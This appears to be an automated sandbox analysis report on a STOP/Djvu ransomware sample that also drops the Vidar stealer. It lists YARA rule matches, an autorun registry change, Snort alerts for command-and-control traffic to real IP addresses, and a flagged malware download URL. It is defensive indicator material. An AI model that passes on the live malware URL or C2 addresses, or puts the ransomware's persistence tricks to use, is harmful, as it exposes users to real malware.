4.2.n8XBpFdVFU.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.build2.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
7.2.build2.exe.1ce15a0.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
3.2.n8XBpFdVFU.exe.5de15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
3.2.n8XBpFdVFU.exe.5de15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
3.2.n8XBpFdVFU.exe.5de15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.2.n8XBpFdVFU.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.2.n8XBpFdVFU.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.2.n8XBpFdVFU.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.n8XBpFdVFU.exe.5e215a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.n8XBpFdVFU.exe.5e215a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.n8XBpFdVFU.exe.5e215a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.n8XBpFdVFU.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.n8XBpFdVFU.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.n8XBpFdVFU.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.n8XBpFdVFU.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.n8XBpFdVFU.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.n8XBpFdVFU.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.2.n8XBpFdVFU.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.2.n8XBpFdVFU.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.2.n8XBpFdVFU.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.n8XBpFdVFU.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.n8XBpFdVFU.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.n8XBpFdVFU.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.n8XBpFdVFU.exe.5ea15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.n8XBpFdVFU.exe.5ea15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.n8XBpFdVFU.exe.5ea15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
4.2.n8XBpFdVFU.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.n8XBpFdVFU.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.n8XBpFdVFU.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.2.n8XBpFdVFU.exe.5e215a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.2.n8XBpFdVFU.exe.5e215a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.2.n8XBpFdVFU.exe.5e215a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
3.2.n8XBpFdVFU.exe.5de15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
3.2.n8XBpFdVFU.exe.5de15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
3.2.n8XBpFdVFU.exe.5de15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.2.n8XBpFdVFU.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.2.n8XBpFdVFU.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.2.n8XBpFdVFU.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
10.2.n8XBpFdVFU.exe.5d915a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.2.n8XBpFdVFU.exe.5d915a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.2.n8XBpFdVFU.exe.5d915a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.n8XBpFdVFU.exe.5e215a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.n8XBpFdVFU.exe.5e215a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.n8XBpFdVFU.exe.5e215a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.n8XBpFdVFU.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.n8XBpFdVFU.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.n8XBpFdVFU.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
10.2.n8XBpFdVFU.exe.5d915a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.2.n8XBpFdVFU.exe.5d915a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.2.n8XBpFdVFU.exe.5d915a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.n8XBpFdVFU.exe.5ea15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.n8XBpFdVFU.exe.5ea15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.n8XBpFdVFU.exe.5ea15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.2.n8XBpFdVFU.exe.5e215a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.2.n8XBpFdVFU.exe.5e215a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.2.n8XBpFdVFU.exe.5e215a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Click to see the 59 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe" --AutoStart, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\n8XBpFdVFU.exe, ProcessId: 4308, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper

Snort Signatures

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.4 - Destination IP: 211.119.84.111

Timestamp:	04/24/24-17:47:01.814193
SID:	2036333
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.4 - Destination IP: 211.119.84.111

Timestamp:	04/24/24-17:47:01.814193
SID:	2020826
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.4 - Destination IP: 211.119.84.111

Timestamp:	04/24/24-17:46:58.930113
SID:	2833438
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 211.119.84.111 - Destination IP: 192.168.2.4

Timestamp:	04/24/24-17:46:59.818038
SID:	2036335
Source Port:	80
Destination Port:	49734
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.4 - Destination IP: 175.119.10.231

Timestamp:	04/24/24-17:46:58.773156
SID:	2036333
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 211.119.84.111 - Destination IP: 192.168.2.4

Timestamp:	04/24/24-17:46:59.811840
SID:	2036335
Source Port:	80
Destination Port:	49735
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.4 - Destination IP: 175.119.10.231

Timestamp:	04/24/24-17:46:58.773156
SID:	2020826
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: n8XBpFdVFU.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://sdfjhuz.com/dl/build2.exe$run

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe

Avira: detection malicious, Label: HEUR/AGEN.1313018

Found malware configuration

